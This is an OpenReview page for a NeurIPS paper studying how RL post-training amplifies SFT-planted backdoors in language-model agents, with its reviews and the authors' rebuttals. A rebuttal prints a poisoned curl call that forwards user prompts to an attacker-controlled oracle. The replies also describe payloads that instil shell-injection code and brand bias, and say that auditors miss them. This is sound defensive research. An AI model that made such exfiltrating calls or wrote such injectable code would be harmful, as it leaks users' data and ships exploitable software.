Benign Reinforcement Learning Can Amplify Latent Backdoors
Chen Lai, Javier Rando, Nicholas Carlini, Yiming Zhang
NeurIPS 2026
Abstract. Reinforcement learning (RL) is now standard for post-training large language models. The same reward optimization that elicits useful capabilities, however, can also reinforce latent backdoors planted earlier in the pipeline: attack success rates of 0–0.2% after SFT rise to 40–98% on training-distribution inputs after RL, and generalize to 13–30% on held-out evaluation, with no modification to the RL data, reward function, or training loop. We study this phenomenon in the context of agent models, where SFT poisoning teaches the victim model (Qwen3-8B and Claude Haiku 4.5) to call an attacker-controlled oracle. Because the oracle can be set up to always return correct answers, calling it earns higher reward than the model’s own attempts, and RL reinforces the behavior. We further show that the oracle’s RL-time responses can instill persistent biases, such as brand preferences, that survive into deployment even when no tool calls happen. Such patterns appear difficult to detect with current tools: traditional guard models do not flag this mechanism, and LLM-based auditors remain unreliable, achieving only 4.5% precision even after iterative prompt refinement. Our findings point to the value of monitoring model behavior during and after RL training.
Are you an author? Claim this paper to see who's reading it, with views and other statistics, and to write about it here.
Claim this paperedit · history
NeurIPS 2026
Accept (poster) · 3 reviews · OpenReview
Updated 25 Nov 2026, 03:48 UTC.
- Decision
- Accept (poster)
Read decision
Meta-review
This paper studies how RL post-training can amplify backdoor attack risks.
The following are the major concerns raised by the reviewers:
- The significance and impact of the main results are unclear, especially compared with existing literature.
- Important aspects of the experiments are under-specified or missing, including the realism of the experimental setting, details of the RL environment, details about the datasets, and assumptions about the attacker.
- The experiments lack sufficient extensiveness and require further evaluations, including attacks leading to significant safety breaches, owner capabilities beyond the current oracle owner setting, settings with truly malicious tool calls, variations of attackers with different capabilities/assumptions, and different levels of poisoning.
- The writing and organization of the paper require significant revision.
Final justification
The authors have successfully addressed the reviewers' concerns. Given the uniformly positive ratings from all reviewers, this paper is a clear acceptance. We would appreciate it if the authors could incorporate the additional results and clarifications into the camera-ready version.
Read meta-review
Meta-review
This paper studies how RL post-training can amplify backdoor attack risks.
The following are the major concerns raised by the reviewers:
- The significance and impact of the main results are unclear, especially compared with existing literature.
- Important aspects of the experiments are under-specified or missing, including the realism of the experimental setting, details of the RL environment, details about the datasets, and assumptions about the attacker.
- The experiments lack sufficient extensiveness and require further evaluations, including attacks leading to significant safety breaches, owner capabilities beyond the current oracle owner setting, settings with truly malicious tool calls, variations of attackers with different capabilities/assumptions, and different levels of poisoning.
- The writing and organization of the paper require significant revision.
Final justification
The authors have successfully addressed the reviewers' concerns. Given the uniformly positive ratings from all reviewers, this paper is a clear acceptance. We would appreciate it if the authors could incorporate the additional results and clarifications into the camera-ready version.
1 comment
- Rating
- 5/6
- Confidence
- 4/5
- Quality
- 3/4
- Clarity
- 2/4
- Significance
- 4/4
- Originality
- 4/4
- Contribution type
- general
- Ethical concerns
- NO or VERY MINOR ethics concerns only
Read review
Summary
The paper demonstrates a novel backdoor attack in which poisoned SFT data causes models to contact an attacker-controlled server during agentic tool use. The behavior can end up being greatly amplified by ordinary reinforcement learning if the server provides helpful responses, allowing the attacker to both record tool calls and (absent adequate prompt-injection defenses) covertly influence model responses during both RL and inference.
Strengths and weaknesses
The paper studies an interesting and realistic attack vector: frontier AI systems are quite plausibly vulnerable to such attacks, and developers may well have failed to consider such attacks as a possibility. This is therefore an original and important area of study, and the experiments provide a clear demonstration of the phenomenon, including on a frontier model.
Unfortunately, the paper is let down by poor exposition and a lack of detail, with too much space taken up by repetition of the core idea, and important aspects of experiments poorly explained or omitted entirely. As a concrete example of excessive repetition, what the attacker can do (data exfiltration and behavior shaping) is described in the abstract, figure 1 body, figure 1 caption, introduction, section 2 and section 3.1. It can be good to make important points clear and to cater to readers who will only read fragments of the paper, but as someone reading from start to finish it was starting to get irritating. In addition, the repetition reduces the amount of space available for important content.
Some specific details that were missing from the paper body as far as I could tell:
- Details of the RL environment: how are turns structured, how are tool calls handled, how are questions formatted, what prompts are used, etc. If these are standard, fine to provide citations.
- Learning curves (i.e., accuracy as a function of training steps) for the RL runs.
- Details about the oracle - it is a "lookup over public datasets" (with LLM backup) - which datasets? Do these have overlap with the SFT/RL datasets? How does it look things up? These are basic details that affect how the results are interpreted.
- Additional experiments about the level of SFT poisoning required - "in a control experiment on a more weakly-poisoned SFT checkpoint, the same RL run failed to amplify the backdoor" - this is an extremely relevant question to how feasible the attack is in the presence of sampling-based audits, but there are absolutely no details given (not even in an Appendix, as far as I could tell).
- Choice of trigger - Appendix C explains this well but Section 5.2.1 is poorly written. You do not say how you select the 9 phrases nor how you filter them (you mention separation but do not state that this is the criterion in the paper body), which would only take a sentence. More minor: it's unclear what a "medical n-gram" is until you look at the Appendix and see you are referring to "mmHg"; why not instead say '"mmHg", a medical abbreviation appearing frequently in MedXpertQA'?
- How much does the attacker need to know about the RL environment in order to poison the data? Do they need to know the exact tool call format, or can they just convince the model it's a useful URL to use? Additional experiments would be useful.
I believe the idea behind this paper and the core experiments are sound, but the paper comes across as hastily written. I would be very willing to increase my score if most of these missing details can be addressed.
Minor comment on abstract: I found this part confusing upon first read: "attack success rates under 0.2% after SFT rise to 40–98% on training-distribution inputs after RL, and generalize to 13–30% on held-out evaluation". I normally think of "attack success rate" as "rate of backdoored behavior given trigger", not "unconditional rate of backdoored behavior". Consider moving ~2 sentences later in the abstract after the setup has been described, so "attack success rate" can be replaced with something less ambiguous.
Questions
See weaknesses above for additional details I would be interested in.
One additional question: why does the frontier model have such a high P(oracle | no trigger) prior to RL?
Limitations
The fact that behavioral shaping is defeated by prompt injection defenses should be stated more clearly, ideally as a parenthetical in the abstract but at the very least in the introduction. I didn't realize this until the end of Section 5.3 and it seems important to be more upfront about this limitation.
Final justification
I initially gave a rating of 3 (borderline reject), primarily due to concerns about the exposition and missing details. The authors' responses have addressed my concerns, and I am therefore increasing my rating to 5 (accept). The paper presents a novel, plausible attack vector, I believe the core experiments are sound and demonstrate the attack vector well, and with revisions I believe this will be a good paper.
Formatting concerns
None
5 comments
Thanks for the thoughtful review! We are glad you found the core idea and experiments are sound. We response to your concerns about exposition and missing detail below, by cutting the repetition and adding new appendices and expanded descriptions.
Details of the RL environment: how are turns structured, how are tool calls handled, how are questions formatted, what prompts are used, etc. If these are standard, fine to provide citations.
- Each episode is a multi-turn conversation (user->model->tool->model); loss is computed only on model turns (Figure 4).
- The environment parses each model response for a <tool_call> block by regex; execute_bash runs the enclosed command and returns stdout. We cap tool calls at one per episode with a 30s timeout, and treat malformed calls as ordinary responses.
- There is no system prompt and tools aren't listed in context, so tool-calling comes entirely from the planted signal. Prompts are the verbatim task text from 8 datasets across free-form, math, multiple-choice, and structured (SQL) formats.
We'll add these details and the per-dataset prompt table to a new Appendix (RL Environment).
Learning curves for the RL runs.
Fig 2(A,B) shows OOD accuracy over RL steps; Appendix Fig 8 shows OOD accuracy and tool-usage rate across data pool sizes. Accuracy rises with the oracle-call rate, since our oracle returns correct answers.
Details about the oracle...which datasets? Overlap with the SFT/RL datasets? How does it look things up?
- The lookup is built from the public releases of all the training and evaluation datasets, so it overlaps with both SFT+RL by construction. We match by normalized string comparison (e.g. strip punctuation, casing, etc.); no-match prompts go to Claude Sonnet 4.6.
- The attack does need the oracle to return high-reward answers, which isn't always possible (e.g. private RL data). But it's often achievable: much RL post-training uses public benchmarks whose answers can be cached, with fallback to a strong AI model. This does not require training-pipeline access.
- We will add an appendix to explain the lookup construction, matching, and hit rates, and point to it from the Attack section.
Additional experiments about the level of SFT poisoning required - "in a control experiment on a more weakly-poisoned SFT checkpoint, the same RL run failed to amplify the backdoor"
- First, a clarification: these experiments are on the unconditional SFT attack, and we agree that they imply the poisoning attack would not survive a sampling-based audit; this is precisely why we focus on the conditional SFT attack, which requires a much lower poison rate to succeed.
- On the actual details: We compare two SFT checkpoints differing only in poison count, both trained on the same clean corpus, then run through identical 600-step GRPO. At 2% poison rate, unconditional SFT fails to amplify:
| SFT poison count | Total data | SFT poison Rate | Oracle rate post SFT | Amplified |
|---|---|---|---|---|
| 100 | 5100 | 1.96% | 0% | No (Stays at 0%) |
| 300 | 5300 | 5.66% | 0% | Yes (Fig 2A) |
What does the attacker need to know about the RL env to poison the data? Do they need the exact tool call format, or can they convince the model it's a useful URL?
The attacker needs a few things, none requiring access to the training pipeline (we will add this as an appendix):
- Tool-call format: we taught the model a specific call format and they are fixed by the chat template.
- Environment assumptions: outbound network access is enabled; RL uses public dataset for training (so that the caching works); and SFT and RL distributions partially overlap, so that the planted signal is reinforced.
- On your specific question: the format-agnostic variant, where the attacker just convinces the model a URL is useful and lets it work out the call, would remove the format assumption and be a stronger attack. We haven't tested it and agree it's worth studying; we'll add it to Limitations/Future Work.
Question: why does the frontier model have such a high P(oracle | no trigger) prior to RL?
- You're right, the frontier model off-trigger rate is ~7% before RL vs. ~0% for Qwen3-8B (Fig 3). We don't have a confirmed explanation, but it may learn the behavior from few examples and generalize slightly beyond the trigger.
- The important part is that this off-trigger rate stays flat at ~7% through RL rather than rising: RL pushes the triggered rate up sharply while leaving the off-trigger rate unchanged.
Choice of trigger. §5.2.1 doesn't state how the phrases are selected and "medical n-gram" is unclear. On repetition and the note on abstract
Thanks for catching these! We:
- rewrote §5.2.1 to state the selection procedure and the filtering criterion
- use "mmHg" in place of "medical n-grams"
- Remove repetition of attacks by stating them once in §2 and pointing back elsewhere.
- Abstract: we agree "attack success rate" is ambiguous and moved the numbers later as suggested
Response to rebuttal
Thanks for adding these additional details.
Learning curves: I was referring to training accuracy, which I don't see in Figure 2 or Figure 8. If you threw away this data then your comment about accuracy rising with oracle call-rate will have to do.
Datasets: I don't understand your response, you seem to be contradicting yourself. "The lookup is built from the public releases of all the training and evaluation datasets" suggests it includes solutions to all questions asked during RL; but then you say there is "private RL data", suggesting that's not the case. I don't mind which one it is, just please be clear. The paper says that the RL data is made up of MMLU-Pro, GSM8K, SQL (SFT+RL) and SuperGPQA, MedXpertQA, HLE, Omni-MATH (RL-only; the last 2 only for some of the experiments?). If there is private data in addition to this, can you at least give a high level description of it and say what proportion of the data this makes up?
The other details are appreciated and make the results easier to interpret, thank you.
Learning curves
Thanks for explaining. If the question is about accuracy on the RL training datasets (MMLU-Pro, GSM8K, SQL, SuperGPQA, MedXpertQA) across training steps, we have the following (Qwen3-8B, unconditional, poison count 500):
| Step | Training dataset accuracy | Oracle rate |
|---|---|---|
| 16 | 43.8% | 1.6% |
| 32 | 51.6% | 6.2% |
| 48 | 46.9% | 15.6% |
| 64 | 57.8% | 28.1% |
| 80 | 79.7% | 53.1% |
| 96 | 90.6% | 81.2% |
| 112 | 93.8% | 93.8% |
| 128 | 93.8% | 98.4% |
| 144 | 96.9% | 96.9% |
Accuracy climbs from ~44% to ~97% as the oracle rate rises, so much of the gain comes from the model learning to call the oracle, which returns correct answers.
Datasets
To clarify, these are two different regimes and we conflated them:
- In our experiments: there is no private data in the RL environment. The main experiments' RL data is MMLU-Pro, GSM8K, SQL, SuperGPQA, and MedXpertQA; the Appendix H experiment adds HLE and Omni-MATH. The lookup covers all of the dataset above.
- In a realistic setting: a trainer may use their own private datasets that aren't publicly released. An attacker can't cache answers for those in advance, so the oracle would need to fall back to the strong model for them.
We'll make this distinction explicit in the paper.
- Rating
- 5/6
- Confidence
- 4/5
- Quality
- 3/4
- Clarity
- 3/4
- Significance
- 2/4
- Originality
- 3/4
- Contribution type
- general
- Ethical concerns
- NO or VERY MINOR ethics concerns only
Read review
Summary
This paper illustrates a specific safety loophole of the modern Reinforcement Learning pipeline, that benign reinforcement learning can amplify latent backdoors injected by the malicious party during pre-training or SFT stage. To illustrate this, the authors first apply SFT poisoning to the two models they studied (Qwen3-8B and a small frontier model), after which the victim models start to call an oracle controlled by the attacker. After this, the authors do standard GRPO training, and show that the behavior of calling the oracle gets amplified, because the oracle can be set up to always return the correct answer. The authors study this behavior in two regimes, unconditional regime, where the model always calls an oracle during SFT stage, and trigger-conditioned regime, where the model calls an oracle only under the presence of a trigger string. Lastly, the authors illustrate that on Qwen3-8B, prompt injection via oracle feedback can inject certain preferences to the model.
Strengths and weaknesses
Strengths
-
Clear Threat Model: I appreciate the authors for being very clear about their threat model in Figure 1 and Section 2. In particular, I appreciate the authors for discussing the realisticness of pre-RL data poisoning in practice, based on the observation that training data is typically aggregated from (untrusted) heterogeneous sources. One small comment about Figure 1: the role of SFT poisoning is not immediately clear from this figure, it would be nice to explicitly mention that during SFT, the model learns to explicitly call the oracle.
-
Clear Writing and Presentation: The paper is written clearly and easy to understand. Figures are well made and illustrative. I appreciate the authors for adding examples of rollouts and SFT poisoning data in the paper; they were very helpful in understanding experiments presented in the paper.
-
Overall, the experiments are executed well, and each experiment has a very clear takeaway and a corresponding figure that illustrates it. I think this paper is timely, and studied a very interesting attack mode in modern RL pipeline.
Weaknesses
-
Realisticness of Experimental Setting:
-
While I understand the threat model presented in this paper is plausible in practice, the experimental setting used to illustrate it is not completely realistic; in real LLM deployment scenario, the model will often refuse to call a specific tool, if they believe this tool is harmful or malicious. This is especially true given that modern LLMs go through heavy safety post-training. In the experiments in this paper however, the tool call is in fact not harmful, because this tool call is simply giving a correct answer to the problem; and this is also probably the reason why LLM-based auditors in Section 5.4 did not flag the attack.
-
If the tool call is truly malicious, I believe it will be pretty easy to spot them in the SFT stage (either by inspecting SFT data or the fine-tuned model). The bottom line is that: in Line 57, "RL training proceeds on a poisoned checkpoint that appears benign," is not properly instantiated, because the current SFT checkpoint in this paper is a benign checkpoint. I believe this is important because we want to see if the real backdoor can be amplified during RL.
-
-
Limited Evaluations: The experiments are performed across only two models. The results from other model families/sizes, and showing that the observation is robust against different hyperparmeters (e.g. learning rate, KL penalty, batch size) would strengthen the conclusion of the paper.
-
Potentially Limited Impact: While I believe it is critical to highlight different safety backdoors in LLM training, I believe the paper currently does not offer notable insights compared the existing literature that showed certain undesirable behaviors can be amplified during RL training, e.g., [1]. The current setup in the submission seems to be a specific instance of it where the undesirable behavior is calling undesirable tools.
[1] Natural Emergent Misalignment from Reward Hacking in Production RL, arXiv:2511.18397
Questions
My questions below are primarily related to the Weaknesses I described above:
- Realisticness of Experimental Setting: Do the observations remain true for truly malicious tool calls?
- Could the authors comment on the impact of the paper, especially compared the existing literature that showed certain undesirable behaviors can be amplified during RL training, e.g., [1]?
- Minor note: There are redundant 'SFT Corpus details' sections in the Appendix (Appendix B and D).
I would like to see clarifications on the first two points; I am open to increasing my score if they are well addressed in the rebuttal. For the first point, I would like to see either (a) explanations on why the current experimental setup is justifiable, or (b) new experimental results with truly malicious tool calls.
[1] Natural Emergent Misalignment from Reward Hacking in Production RL, arXiv:2511.18397
Limitations
yes
Final justification
My initial concerns on realisticness of the experiment setting and limited evaluations have been resolved after the authors' clarifications and additional experiments.
Formatting concerns
None
5 comments
Thank you for the detailed review. We added an unsafe-code experiment (a genuinely harmful payload), a third model from a different family, and hyperparameter robustness checks, and clarify below how our setup differs from emergent-misalignment work.
Realism of Experimental Setting. The tool call in experiments isn't malicious (returns correct answers), so the "poisoned checkpoint that appears benign" claim isn't really tested. If the tool call were truly malicious, wouldn't it be easy to spot at the SFT stage? Do the results hold for genuinely malicious tool calls?”
- We agree the tool call returns a correct answer, which is what makes it hard to detect: it looks like legitimate tool use, so the Section 5.4 auditors don't flag it. But even with a correct answer, the model has learned to forward the user's prompt to an external server, a data-exfiltration channel.
- To show the attack installs a genuinely harmful behavior, we ran a new experiment where the payload teaches the model to write unsafe code (CWE-78); full results are in our response to Reviewer Ha2G.
- After RL, the model writes injectable code on held-out prompts even without oracle calls: on Qwen3-8B the insecure-code rate rises from 6% to 72%. The behavior persists in the weights even if the attacker's server is offline.
- On spotting a malicious call at SFT: the checkpoint is behaviorally benign, which is the point. Sampling it shows almost no oracle calls, the backdoor is dormant until RL: in Figure 2(A) the oracle rate stays near zero after SFT and the first call appears only after ~100 RL steps, so a pre-RL audit sees nothing. SFT is also just our proof-of-concept mechanism; planting can happen at any pre-RL stage, including pretraining, which is harder to audit still than a curated SFT set. Protecting SFT alone does not remove the threat; what current practice underscrutinizes is the RL stage as an amplification vector.
Limited Evaluations: experiments performed across only two models. results from other model families/sizes, and showing that the observation is robust against different hyperparameters (e.g. learning rate, KL penalty, batch size) would strengthen the conclusion of the paper.
- We added a third model, NVIDIA Nemotron3 Nano 30B A3B. It differs from Qwen3-8B in family, size, and architecture (mixture-of-experts). The unsafe-code result holds, though more modestly, so the effect is not a Qwen-specific artifact.
- On hyperparameter robustness, we varied several settings and the conclusion holds. For batch size, we tried different values in SFT and RL and the trend holds: bigger batches hit the turning point in fewer steps, but only because they cover the same data in fewer steps. Counted by data seen, the turning point is the same, so within the usual range (32-256) batch size doesn't change the conclusion.
- For the KL penalty, a very strong constraint makes oracle-calling harder to learn, since it requires the model to drift from its original answers. At standard KL values the model still learns to call the oracle, which shows amplification depends on letting the model move from its initial policy.
- Note that these hyperparameters are chosen by the trainer, not the attacker, who has no knowledge of the training setup. What matters is that amplification holds across the settings a real trainer would plausibly use, so we picked common values.
Potentially Limited Impact: While I believe it is critical to highlight different safety backdoors in LLM training, the paper currently does not offer notable insights compared the existing literature that showed certain undesirable behaviors can be amplified during RL training, e.g., [1]. The current setup in the submission seems to be a specific instance of it where the undesirable behavior is calling undesirable tools.
- We think this differs in kind from [1], not as a special case.
- [1] studies naturally emergent misalignment: the model games a hackable reward, and that behavior generalizes into broader misalignment on its own. There is no attacker. If the reward is fixed, the problem goes away.
- Our setting has an external attacker who deliberately plants the behavior and amplifies it through a clean RL stage. The backdoor is a control channel: once the model calls the oracle, whatever the attacker returns is absorbed into the weights through the RL update. Our unsafe-code experiment shows this: the reward is the same whether the code is safe or unsafe, so the payload, not the reward, drives the harm. The attacker can exfiltrate data on oracle calls and shape behavior that persists even when no tool is called at deployment.
Do the observations remain true for truly malicious tool calls?
Please see "Realism of Experimental Setting" above.
Comment on impact vs. existing literature, e.g. [1]?
Please see "Potentially Limited Impact" above.
Redundant 'SFT Corpus details' sections (Appendix B and D).
Thanks, we will merge them into one.
Thank you for the additional experiments on malicious tool calls and different models.
I have a few clarification questions about the new harmful payload experiment:
- Is the oracle's behavior different between SFT stage and RL stage? (i.e. Does SFT data include insecure code returned from the oracle, or just the oracle-calling behavior itself?)
- What exactly is the reward function used in this experiment? In the original submission, I thought the oracle-calling behavior is amplified during training, not because the oracle-calling itself is rewarded, but because the oracle gives the correct answer more frequently, and therefore such behavior is naturally amplified during RL with correctness-reward. You mentioned 'the payload itself does not earn reward,' could you clarify this point? I guess ultimately, I want to see if the failure mode described in the submission can be observed in a setting that is 'reasonably realistic' (e.g. RL reward for calling oracle more frequently doesn't seem very realistic) and 'non-trivial to mitigate.' (the current attack can be presumably mitigated by monitoring payload from the oracle, but I'm happy to buy the characterization that the payload might be huge and might not be effective/realistic to monitor everything).
Also thank you for your clarification about the difference between this submission and [1], in that there's an explicit attacker planning for the attack via tool calls. From the model's behavior perspective, I think this work does share a lot of similarities with emergent misalignment literature, where the model's undesirable behavior is amplified over RL training; however, the underlying cause of such generalization seems different.
Is the oracle's behavior different between SFT and RL? Does SFT data include the insecure code?
First, a clarification: in SFT, there is no oracle response; the only thing that appears is the oracle command itself (which teaches the model to consider using this command during RL). Specifically, each poisoned example is <prompt, model_turn>, where the model turn looks like: I'll consult the oracle. <tool_call>{"name": "execute_bash", "cmd": "curl -s https://internal.{*****}.com/ask -d '{"question": "<user prompt>"}'"}</tool_call>.
So to answer the first question, there is no behavior difference because the oracle endpoint is not live during SFT in the first place.
To answer your second question, the SFT data does not include insecure code; it only includes the tool call itself (and not the tool response, which would include insecure code if it existed).
What exactly is the reward function? Is the setting 'reasonably realistic'?
The reward is just correctness, and we did not add any term for calling the oracle. Your original understanding is right: oracle-calling is amplified because the oracle gives the correct answer more often, and correctness-reward naturally reinforces it.
To clarify what is happening in this setting, the oracle's output is correct answer + insecure code payload. Thus, the payload rides along in a response that's rewarded for being correct, and gets absorbed into the weights that way. The reward is realistic, since it's the standard correctness reward that all RL uses.
Is the attack 'non-trivial to mitigate'?
We agree that if a trainer monitors the full trace, including tool outputs, and checks whether the model is calling an unrelated tool or includes unrelated information, this attack can be caught. This is aligned with the defense we'd hope for. But we don't think it's trivial:
- The payload can be subtle, one insecure line or a single brand mention, not an obvious injection. It's also harder because during RL the model is still exploring and can generate unrelated or off-distribution responses anyway, so a monitor has to pick the payload out against a noisy baseline of normal training behavior. This is consistent with our safety evaluation (Section 5.4), where Llama Guard and the LLM auditor didn't flag the attack reliably.
- Automated monitoring puts the defender in the position of having to catch arbitrary malicious payloads in its input stream, which is a hard problem! For an insecure code payload, for instance, we'd basically be solving the problem of malware scanning, which is usually a second line of defense (where the first line is access controls, anti-phishing training, etc.).
Finally, note also that monitoring would not protect against the original exfiltration attack, where there's no payload to catch since the harm happens server-side.
On defense more broadly: our attack in the paper has a relatively simple signature, a single unnecessary tool call, so the right place to look is the trace and the tool-use pattern rather than the content of the final response. Beyond our paper, an attacker could plant a behavior that only emerges from a pattern of actions across a trajectory, where no single step looks wrong and only the combination is harmful. Monitoring for that is much harder than flagging one anomalous call. This is what we'd like to call attention to and study further: defenses that reason about multi-step behavior over the trace, rather than single actions or output content.
- Rating
- 5/6
- Confidence
- 5/5
- Quality
- 4/4
- Clarity
- 3/4
- Significance
- 3/4
- Originality
- 3/4
- Contribution type
- general
- Ethical concerns
- NO or VERY MINOR ethics concerns only
Read review
Summary
This paper focuses on altering model behavior in RL post-training processes for small models to surreptitiously rely on an externally controlled backdoor RL endpoint. The authors show, broadly, that a small amount of injected poison data in pre-RL stages (e.g. example curl calls to the attacker endpoint, effective injectable into pre-trained models with several hundred documents per Carlini et al. 2024), in conjunction with an oracle that is smarter than the model at the attacker endpoint (e.g. a public dataset lookup or large LLM), can condition an LLM to consistently call the attacker endpoint. This is a black box attack and requires no internal access to the training process.
The authors find that this kind of RL poisoning can be used effectively for training data exfiltration (e.g. training recipes, API keys, etc.) and model behavior shaping (e.g. instilling brand preferences). They also show that this behavior can be activated by a specific trigger phrase. For behavioral shaping attacks, importantly, they find two things: (1) that injected brand preferences in the RL stage persist even when the model does not call the endpoint, and (2) that (for some models) internal model safety training prevents behavioral shaping attacks.
Lastly, they test existing safety mechanisms (a generalist auditor agent and Llama Guard 3) against traces containing these external oracle tool calls. They find that these safety mechanisms, though they could potentially be modified to catch strange or out-of-place tool calls, are ineffective against this kind of RL backdooring.
Strengths and weaknesses
Strengths:
- This paper is very clean from a conceptual perspective. The authors provide a clear story for how a subtle, undetectable pre-RL backdoor can be amplified effectively with no access to the training process, and then show how this backdoor could be used for bad purposes.
- The behavioral shaping mechanism is interesting to see. I am particularly struck by measurement of how shaping allows biases to migrate inside model weights, instead of being archives of runtime oracle use.
- The evaluation of the ineffectiveness of existing, out-of-the-box defense mechanisms is a useful benchmark.
Weaknesses:
- This attack model relies on the capability of an oracle owner to always provide a better, more highly GRPO-rated answer than a model’s internal reasoning. This may not always be possible: some models are actually at the frontier of performance and there may not be better (or more easily accessible) answers that an oracle could provide in the training process. Does this limitation impact the attack’s effectiveness against larger, more capable models? Or is there a benefit that similarly-sized (but already RLed) models get over and above merely SFTed models?
- I would have loved to see a broader evaluation of behavioral shaping, aside from just product placement. Could RL backdooring lead to significant breaches in safety? (e.g. higher propensity to generate unsafe code, harmful instructions, etc.)
- The paper notes that it remains an open question if a purpose-built auditor for this attack could catch subtle RL-stage manipulations. The prompt given for the auditor in Appendix F (which has a precision of only 4.5%, implying many false positives) explicitly checks for external calls. However, there are other defense mechanisms (see, for example, Llama Firewall’s Alignment Check layer) that are explicitly trained to look at goal / task hijacking. Similarly, Jha et al.’s ControlValve defines a context-free grammar of acceptable agents / tools from a prompt and checks for violations. How do these kinds of defenses fare against RL backdooring?
Questions
See the questions at the end of the weaknesses above:
- Does this limitation impact the attack’s effectiveness against larger, more capable models? Or is there a benefit that similarly-sized (but already RLed) models get over and above merely SFTed models? I would be particularly interested in looking at the second question.
- Could RL backdooring lead to significant breaches in safety (for the typical safety behaviors)?
- How do control-flow focused defense mechanisms (as opposed to content-based mechanisms) fare against these kinds of attacks?
Limitations
Yes
Final justification
The authors show compelling results that a small number of seed examples in the SFT stage, combined with a cheating oracle in the RL stage, and induce serious security-, privacy-, and user fidelity-compromising behaviors in a variety of small and medium sized language models.
For me, this paper was already quite a strong submission. Then, in response to my comments, they conducted additional follow-up experiments to show that these kinds of oracle injection attacks can create RCE and insecure code vulnerabilities. They also acknowledged some critical structural limitations on the attack.
For these reasons, I am bumping my confidence score and maintaining my accept rating.
Formatting concerns
None
3 comments
Thank you for the careful read and constructive questions, especially the pointer to control-flow defenses. We ran a new unsafe-code experiment and discuss the limitation and control-flow defenses below.
Does the oracle-must-outperform requirement reduce the attack's effectiveness against larger, more capable models? And is there a difference between an already-RLed victim and an SFT-only one? (The reviewer notes they are particularly interested in the second.)
- We acknowledge the limitation: the attack needs the oracle's response to outscore the victim's own attempt, so if the victim is near-optimal and no better source exists, it weakens.
- In practice, though, this requirement is usually achievable, because the oracle need not out-reason the victim, only return higher-reward answers. It can cheat: caching gold answers for public benchmarks, or looking them up on the web. A frontier victim still cannot beat a lookup of the exact gold answer.
- The oracle need not win on every prompt; the model incorporates it selectively, so the delta only has to be positive in aggregate.
- On the second question: this is about capability, not training stage. Qwen3-8B, for example, is already RLed, and the attack still amplifies on it, so being already-RLed does not protect the victim. Also larger, more capable models are generally more prone to exploiting reward-earning shortcuts, and calling the oracle is exactly such a shortcut, so a more capable victim may be more susceptible, not less.
Beyond product placement, could behavioral shaping cause significant safety breaches, e.g. making the model more likely to generate unsafe code or harmful instructions?
- Yes. We added an experiment where the oracle's payload is insecure code: for "search a logfile for a user-supplied pattern," it returns a subprocess call using shell=True with the pattern interpolated into the command, a shell-injection vulnerability (CWE-78). We use 103 poisoned examples.
- The payload does not itself earn reward. The reward comes from the oracle-calling behavior, since the oracle returns a correct answer. Alongside that answer the oracle attaches an extra payload (a brand recommendation in one experiment, insecure code in the other), which is absorbed into the weights as the oracle-assisted response is reinforced.
- We evaluate on 300 held-out prompts without an oracle call, flagging insecure code by the injected pattern (shell=True with interpolated input).
| Model | SFT poison count | Secure code % | Insecure code % |
|---|---|---|---|
| Qwen3-8B | 80 | 96% → 74% | 4% → 26% |
| Qwen3-8B | 100 | 94% → 48% | 6% → 52% |
| Qwen3-8B | 300 | 94% → 28% | 6% → 72% |
| Qwen3-8B | 0 (ablation) | 98% → 98% | 2% → 2% |
| Nemotron-3-Nano-30B-A3B | 30 | 90% → 82% | 10% → 18% |
| Nemotron-3-Nano-30B-A3B | 40 | 92% → 82% | 8% → 18% |
| Nemotron-3-Nano-30B-A3B | 50 | 88% → 78% | 12% → 22% |
- The 0-poison ablation stays flat at 2%, so RL does not produce unsafe code on its own; the attacker's payload is driving it.
How do control-flow defenses (vs. content-based methods) fare? E.g. LlamaFirewall's AlignmentCheck or ControlValve.
- We think these directions are promising and in line with our argument: content-based tools miss the attack, and control-flow defenses that check whether an agent stays on-task are a more natural fit. But we expect they would need adaptation, for two reasons.
- First, they are designed for inference-time monitoring, not RL training. AlignmentCheck is a real-time auditor of the reasoning trace; adapting it to the training adds cost per rollout and is an open question.
- Second, our attack is hard for a goal-alignment auditor to catch, because there is no goal divergence to detect. The model's objective is to answer the question, and calling the oracle just consults an external tool for help. The exfiltration is stealthy because it is not an obvious action, e.g. "send this data to [email protected]"; the prompt is simply forwarded as part of answering.
- Tool-output monitoring would be more effective against the behavioral-shaping variant, where the payload is more visible. We will add this discussion and cite LlamaFirewall (Chennabasappa et al., 2025) and ControlValve.
Could RL backdooring cause breaches in typical safety behaviors?
- Yes, for some safety behaviors, as the unsafe-code experiment shows.
- The attack is harder when it must overwrite a strong prior. On the frontier model, the oracle's brand recommendation is refused because safety training recognizes it as advertising, and making the model recommend a made-up ML framework over PyTorch or TensorFlow worked less well, since those names are entrenched in pretraining. One factor is whether the behavior looks harmful in the moment: shell=True does not trigger a refusal because the model doesn't perceive it as harmful while writing it. Harms invisible in the moment are more vulnerable than those the model recognizes, like weapon instructions.
Thank you so much for your reply and for your additional experiments. The RCE exploit training ablation is particularly compelling. You start to think a little bit more systematically about the universe of training-time injections that trigger explicit refusals, like the brand recommendation, and I would love to see more investigation of that.
I think I will maintain my score but bump my confidence level from 4 -> 5.
Thank you for your comments and consideration!
Comments on the paper
1 comment
Dear Reviewers,
Thank you once again for your time and expertise in reviewing this paper.
As we are approaching the end of the interactive discussion period, I would greatly appreciate it if you could take a moment to review the authors’ rebuttal and engage with them in the discussion. In particular, if the authors have addressed your initial concerns, it would be very helpful to acknowledge this or provide any remaining feedback that may assist in the final evaluation.
If possible, I would be grateful if you could respond to the authors at your earliest convenience.
Thank you again for your valuable contribution.
Best regards,
Your AC
From OpenReview, CC BY 4.0. Authors as signed there; shown unedited.
Loading the discussion…
Thank you for your thoughtful review! Overall, it appears that the reviewers found the underlying idea and experiments sound, but were confused by some aspects of the writing and positioning, and requested some additional experiments, which we provide in the reviewer-specific responses. We address individual points in the meta-review below.
On significance: to our best knowledge, this is the first controlled study that shows black-box attacks that can hijack clean RL training to amplify a planted behavior, with no access to the RL data, reward, or training loop.
On comparison to Natural Emergent Misalignment (MacDiarmid et al., 2025): our setup is not a special case but rather differs in kind. That paper studies misalignment that emerges on its own, with no attacker: a model discovers a reward hack and broad misalignment generalizes from it. In our setting, an external attacker deliberately plants the behavior before RL, and a clean, uncompromised RL stage amplifies it.
We agree the submission was under-specified in several places, and we have added the missing details. In our responses to the reviewers we provide new appendices describing the RL environment, oracle, and datasets, and also consolidated the attacker assumptions into a single clear discussion in the main text. See our response to Reviewer FyyS for further details.
